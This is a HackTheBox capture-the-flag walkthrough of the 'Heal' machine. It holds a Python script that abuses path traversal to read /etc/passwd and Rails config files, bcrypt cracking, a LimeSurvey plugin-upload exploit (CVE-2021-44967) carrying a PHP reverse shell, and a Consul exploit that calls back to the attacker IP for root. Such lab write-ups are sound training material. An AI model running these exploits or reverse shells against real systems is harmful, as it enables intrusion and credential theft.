Heal – HackTheBox Link to heading
- OS: Linux
- Difficulty: Medium
- Platform: HackTheBox
Summary Link to heading
“Heal” is a Medium machine from HackTheBox
platform. After searching for subdomain and directories in those subdomains, we find a function that allow us to download files from the web target. This function is vulnerable to Local File Inclusion
, which eventually let us to know the existance of a database file in the system. We can download this file using this vulnerability, and get a password for a LimeSurvey
panel. This panel is vulnerable to CVE-2021-44967, which allows a Remote Code Execution
as an authenticated user. Abusing this vulnerability, we gain access into the target machine and find a configuration file with a password. This password is used by one of the users in the system, allowing us to gain access as an initial user. Once inside the target machine, we can see an internal service running Consul
. This software is running a vulnerable version that allows another Remote Code Execution
. After establishing a tunnel, we are able to run this exploit against the internal service and get access as root
user, compromising the system.
User Link to heading
We start with a quick scan with Nmap
looking for open TCP
ports:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.46
We only have 2 ports open: 22
SSH
and 80
HTTP
.
Applying some recognition scans with -sVC
flag over these ports we get:
❯ sudo nmap -sVC -p22,80 10.10.11.46
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 01:06 -03
Nmap scan report for 10.10.11.46
Host is up (0.49s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.89 seconds
From the output we can see that we have a domain: heal.htb
We add this domain to our /etc/hosts
file:
❯ echo '10.10.11.46 heal.htb' | sudo tee -a /etc/hosts
Visiting then http://heal.htb
shows a webpage with a login portal:
The site says that it is a webpage to build fast Resumes.
If we attempt to create an account there is an error that does not allow us to create one:
But if we go to the main page, refresh and pass the credentials for our recently created used they work. We can now see:
If we add some info and create a PDF the page shows, as it says at home page, a Resumee:
In the Resumee Builder
page (after we log in with our account), there is a Survey
button. Clicking on it redirects to a new page http://heal.htb/survey
:
Looking where Take the Survey
button goes redirects to the domain take-survey.heal.htb
. We add this subdomain to our /etc/hosts
, now it looks like:
❯ tail -n 1 /etc/hosts
10.10.11.46 heal.htb take-survey.heal.htb
Once added, we can click on the button Take the Survey
. The page presents a simple survey:
But if we visit http://take-survey.heal.htb/
we can now see some info:
We have a contact ralph@heal.htb
, who should be the administrator for the survey page.
Searching for directories through a Brute Force Directory Listing
with Gobuster
in this webpage we get some of them:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://take-survey.heal.htb/ -x php -t 20 -s 200,301 -b ''
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://take-survey.heal.htb/
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 301,200
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 75816]
/admin (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/admin/]
/plugins (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/plugins/]
===============================================================
Finished
===============================================================
We can see an /admin
directory. Visiting http://take-survey.heal.htb/admin
shows a login panel:
But we don’t have credentials. So we might come back to this site later.
We can then search by vhosts
using ffuf
and a dictionary from SecLists
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://heal.htb -H 'Host: FUZZ.heal.htb' -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
api [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 247ms]
:: Progress: [19966/19966] :: Job [1/1] :: 153 req/sec :: Duration: [0:02:09] :: Errors: 0 ::
We get a subdomain: api.heal.htb
.
We add this new subdomain to our /etc/hosts
file, so now it looks like:
❯ tail -n 1 /etc/hosts
10.10.11.46 heal.htb take-survey.heal.htb api.heal.htb
Visiting then http://api.heal.htb
shows:
The site is running Ruby
(Ruby on Rails
). But nothing besides this.
Back to Resume Builder
with out created account, we intercept the request sent when we attempt to create a PDF
file. We intercept the request with Burpsuite
and select the option Do intercept -> Response to this request
:
We eventually get the request with GET
:
GET /download?filename=../../../../../../etc/passwd HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: close
Referer: http://heal.htb/
Where filename
is a random filename the PDF is saved in our machine. If we change filename
parameter to ../../../../../../../etc/passwd
to see if we have a Local File Inclusion
we get a response:
This parameter is vulnerable to LFI
.
We can then create a simple Python
script to read different files in the system using the Jason Web Token
from the session:
import requests
import argparse
from sys import exit as sys_exit
# URL containing LFI vulnerability
url: str = "http://api.heal.htb:80/download?filename="
def parse_arguments()->argparse.Namespace:
"""
Get arguments from user
"""
parser = argparse.ArgumentParser(description="LFI script for HTB Heal machine.")
# Add optional arguments with flags
parser.add_argument("-f", "--file", type=str, help="Absolute path to file to read through LFI", required=True)
parser.add_argument("--jwt", type=str, help="Jason Web Token session", required=True)
# Return the parsed arguments
return parser.parse_args()
def read_file(args:argparse.Namespace)->None:
"""
LFI exploit
"""
lfi_url = url + args.file
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Authorization": f"Bearer {args.jwt}",
"Origin": "http://heal.htb",
"DNT": "1", "Connection": "close",
"Referer": "http://heal.htb/"}
r = requests.get(lfi_url, headers=headers)
if r.status_code == 404:
print(f"[-] File {args.file!r} not found")
sys_exit(1)
if r.status_code != 200:
print(f"[-] Invalid status code: {r.status_code}")
sys_exit(1)
print(r.text)
def main()->None:
# Get arguments from user
args = parse_arguments()
# Execute Local File Inclusion
read_file(args)
if __name__ == "__main__":
main()
We test the script, passing as arguments the absolute path of the file we want to read and the JWT
from the session:
❯ python3 lfi.py -f '../../../../../../etc/passwd' --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<SNIP>
It works!
Filtering by potential users, excluding root
and postgres
, we have 2 users:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../etc/passwd' | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash
ralph
and ron
are new users.
We are not able to read potential SSH
keys for these users:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../home/ralph/.ssh/id_rsa'
[-] File '../../../../../../home/ralph/.ssh/id_rsa' not found
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../home/ron/.ssh/id_rsa'
[-] File '../../../../../../home/ron/.ssh/id_rsa' not found
Now, since http://api.heal.htb
was running Ruby on Rails
we can check its configuration files. Based on this, the file config/application.rb
should exist. After playing with some paths with out script, we eventually can read a file:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../config/application.rb'
require_relative "boot"
require "rails/all"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module ResumeApi
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 7.1
# Please, add to the `ignore` list any other `lib` subdirectories that do
# not contain `.rb` files, or that should not be reloaded or eager loaded.
# Common ones are `templates`, `generators`, or `middleware`, for example.
config.autoload_lib(ignore: %w(assets tasks))
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
# Only loads a smaller set of middleware suitable for API only apps.
# Middleware like session, flash, cookies can be added back manually.
# Skip views, helpers and assets when generating a new resource.
config.api_only = true
end
end
After reading some of the documentation, to configure a database we should have the file config/database.yml
. Attempting to read this file we get:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../config/database.yml'
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
We have 2 files being used: storage/test.sqlite3
and storage/development.sqlite3
.
If we attempt to read them through the script we get:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../storage/development.sqlite3'
¿QLite format 3@ .vä
}„(÷
„
∫ÅT55ÇKtablear_internal_metadataar_internal_metadataCREATE TABLE "ar_internal_metadata" ("key" varchar NOT NULL PRIMARY KEY, "value" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL)G[5indexsqlite_autoindex_ar_internal_metadata_1ar_internal_metadatx//
<SNIP>
07:49:07.2690482024-09-27 07:49:07.269049O##AAenvironmentdevelopment2024-09-27 07:49:07.2666762024-09-27 07:49:07.266679
·Ò·#schema_sha1# environment
Just a bunch of data. Since the original webpage was designed to download a PDF
, we can go back to Burpsuite
, intercept the request and attempt to download the file:
GET /download?filename=../../storage/development.sqlite3 HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: close
Referer: http://heal.htb/
We have a downloaded a file .pdf
, but if we check the downloaded file we see it’s an SQLite
file:
❯ file ~/Downloads/4fbf8c3e57d43f60461c.pdf
/home/gunzf0x/Downloads/4fbf8c3e57d43f60461c.pdf: SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 2
Rename this file and read it using SQLite
:
❯ mv ~/Downloads/4fbf8c3e57d43f60461c.pdf ./development.sqlite3
❯ sqlite3 development.sqlite3
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite>
In the database we have a users
table. Extract some info from this table:
sqlite> .tables
ar_internal_metadata token_blacklists
schema_migrations users
sqlite> PRAGMA table_info(users);
0|id|INTEGER|1||1
1|email|varchar|0||0
2|password_digest|varchar|0||0
3|created_at|datetime(6)|1||0
4|updated_at|datetime(6)|1||0
5|fullname|varchar|0||0
6|username|varchar|0||0
7|is_admin|boolean|0||0
sqlite> select email,username,is_admin,password_digest from users;
ralph@heal.htb|ralph|1|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
gunzf0x@gunzf0x.htb|gunzf0x|0|$2a$12$8xVXNUtPJhaHR1.kFl7h0uA.6KO6LrRkub9/uPA3brg0x20KeWgwe
We have a hash for ralph
user.
We save ralph
hash into a file named ralph_hash
and attempt to crack it through a Brute Force Password Cracking
with john
and rockyou.txt
dictionary:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt ralph_hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369 (?)
1g 0:00:00:12 DONE (2024-12-21 02:42) 0.07770g/s 38.46p/s 38.46c/s 38.46C/s single..147258
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We got a password: 147258369
.
We check if this password works for ralph
user, that we have seen that existed in the victim machine, to log in through SSH
with NetExec
:
❯ nxc ssh 10.10.11.46 -u 'ralph' -p '147258369'
SSH 10.10.11.46 22 10.10.11.46 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.46 22 10.10.11.46 [-] ralph:147258369
This password does not work.
What about the survey site? We can go to the admin panel at http://take-survey.heal.htb/admin
and use the credentials ralph@heal.htb
and password 147258369
. They worked and we are in:
If we go at the bottom of the page we can see a version for LimeSurvey
: LimeSurvey Community Edition Version 6.6.4
.
Searching for exploits for this version and software we find this Github exploit that is an authenticated Remote Code Execution
using a vulnerability labeled as CVE-2021-44967. Since we do have credentials it should work. We need to edit config.xml
for the exploit to work. We add the line <version>6.0</version>
to it and touch some little details, so now it looks like:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>gunzf0x</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>gunzf0x</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>5.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : gunzf0x`></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
Where, again, we have added the line <version>6.0</version>
.
Additionally, we need to edit php-rev.php
. We change the first lines to:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.4'; // CHANGE THIS
$port = 443; // CHANGE THIS
<SNIP>
Where 10.10.16.4
is our attacker IP address and 443
the port we will start listening with netcat
to establish a reverse shell.
Compress both files that we will upload into a .zip
file:
❯ zip gunzf0x_exploit config.xml php-rev.php
adding: config.xml (deflated 57%)
adding: php-rev.php (deflated 61%)
Start a listener with netcat
on port 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
Then, just follow the instructions from the webpage. Go to Configuration
, then Plugins
and click on Upload & Install
. We install the generated zip
file. Once installed we can see that our plugin is there:
Click on ...
at the plugin and click on Activate
. Then, just visit http://take-survey.heal.htb/upload/plugins/gunzf0x/php-rev.php
:
❯ curl -s http://take-survey.heal.htb/upload/plugins/gunzf0x/php-rev.php
and we get a shell as www-data
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.46] 42780
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
06:26:33 up 2:32, 0 users, load average: 0.02, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
After searching for some passwords at /var/www
we find:
www-data@heal:~/limesurvey$ grep -ir 'password' . 2>/dev/null | grep -vE '\.js|remix|tmp|\.css|release|\.lss' | grep 'config' | grep '\$'
./vendor/phpmailer/phpmailer/src/DSNConfigurator.php: $mailer->Password = $config['pass'];
./application/commands/InstallFromConfigCommand.php: 'password' => password_hash((string) $this->configuration['config']['defaultpass'], PASSWORD_DEFAULT),
./application/core/LSYii_Application.php: $this->config['emailsmtppassword'] = LSActiveRecord::encryptSingle($this->config['emailsmtppassword']);
./application/core/ConsoleApplication.php: $this->config['emailsmtppassword'] = LSActiveRecord::encryptSingle($this->config['emailsmtppassword']);
./application/config/config.php: 'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
./application/config/config.php: 'password' => 'AdmiDi0_pA$$w0rd',
./application/config/email.php:$config['emailsmtpuser'] = ''; // SMTP authorisation username - only set this if your server requires authorization - if you set it you HAVE to set a password too
<SNIP>
Reading /var/www/limesurvey/application/config/config.php
file shows:
www-data@heal:~/limesurvey$ cat ./application/config/config.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
<SNIP>
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
<SNIP>
We have a password for a PostgreSQL
database: AdmiDi0_pA$$w0rd
.
We check if this password works for ralph
or ron
user with NetExec
:
❯ nxc ssh 10.10.11.46 -u 'ralph' -p 'AdmiDi0_pA$$w0rd'
SSH 10.10.11.46 22 10.10.11.46 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.46 22 10.10.11.46 [-] ralph:AdmiDi0_pA$$w0rd
❯ nxc ssh 10.10.11.46 -u 'ron' -p 'AdmiDi0_pA$$w0rd'
SSH 10.10.11.46 22 10.10.11.46 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.46 22 10.10.11.46 [+] ron:AdmiDi0_pA$$w0rd Linux - Shell access!
And they do work for ron
user. So we have credentials: ron:AdmiDi0_pA$$w0rd
.
Connect to the victim machine through SSH
:
❯ sshpass -p 'AdmiDi0_pA$$w0rd' ssh -o stricthostkeychecking=no ron@10.10.11.46
<SNIP>
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
ron@heal:~$
We can finally read the user flag.
Root Link to heading
Checking internal ports open we have many of them:
ron@heal:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 1024 127.0.0.1:3001 0.0.0.0:*
LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8301 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8300 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8302 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8503 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8600 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
We check if any of these internal ports are websites using cURL
against them. If we get a response they might be internal websites. For this we check them through a Bash
oneliner:
ron@heal:~$ for port in 3000 3001 5432 8300 8301 8302 8500 8503 8600; do echo "[+] Requesting port $port"; curl -s "http://127.0.0.1:$port" | head -n 5; done
[+] Requesting port 3000
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1" />
[+] Requesting port 3001
[+] Requesting port 5432
[+] Requesting port 8300
[+] Requesting port 8301
[+] Requesting port 8302
[+] Requesting port 8500
<a href="/ui/">Moved Permanently</a>.
[+] Requesting port 8503
[+] Requesting port 8600
Port 3000
and 8500
show responses, so they might be internal websites.
We exit from the current SSH
session and reconnect to the target machine with a Local Port Forwarding
to convert port 3000
of the victim machine into our port 3000
, and port 8500
of the victim machine into our port 8500
:
❯ sshpass -p 'AdmiDi0_pA$$w0rd' ssh -o stricthostkeychecking=no -L 3000:127.0.0.1:3000 -L 8500:127.0.0.1:8500 ron@10.10.11.46
If we go to a web browser and visit http://127.0.0.1:3000
it just shows the same webpage shown at http://heal.htb
. But if we visit http://127.0.0.1:8500
we get:
The site is running Consul
v1.19.2
, as we can see at the bottom left side of the page.
Consul
is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.This service is being executed by root
, as can be seen if we check processes in the victim machine:
ron@heal:~$ ps aux | grep root | grep consul
root 982 0.5 2.7 1357476 108528 ? Ssl 03:54 1:02 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
Searching for consul exploit
shows the following exploit from exploit-db
. We download it as exploit.py
and execute it:
❯ python3 exploit.py
[-] Usage: python3 exploit.py <rhost> <rport> <lhost> <lport> <acl_token>
The only parameter we do not know what is, is <acl_token>
.
Searching acl token consul
we find this developer page. Basically, it is the token to log into the page. Since we don’t have one, I assume it is kind of a null session or the value just does not exist. So we can just pass 0
as <acl_token>
. We can find more information about anonymous
tokens here. With all the info, and after starting a new listener with netcat
on port 443
, just run the exploit:
❯ python3 exploit.py 127.0.0.1 8500 10.10.16.4 443 0
[+] Request sent successfully, check your listener
where 127.0.0.1
is the localhost -hosting the internal service due to Local Port Forwarding
-, 8500
is the port for the internal service with the tunnel, 10.10.16.4
is our attacker IP (the IP address we want to send the reverse shell), 443
is our listening port with netcat
and 0
as the acl_token
value.
After some seconds, we get a shell as root
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.46] 38294
bash: cannot set terminal process group (9195): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# whoami
whoami
root
GG. We can read the root
flag at /root
directory.
~Happy Hacking.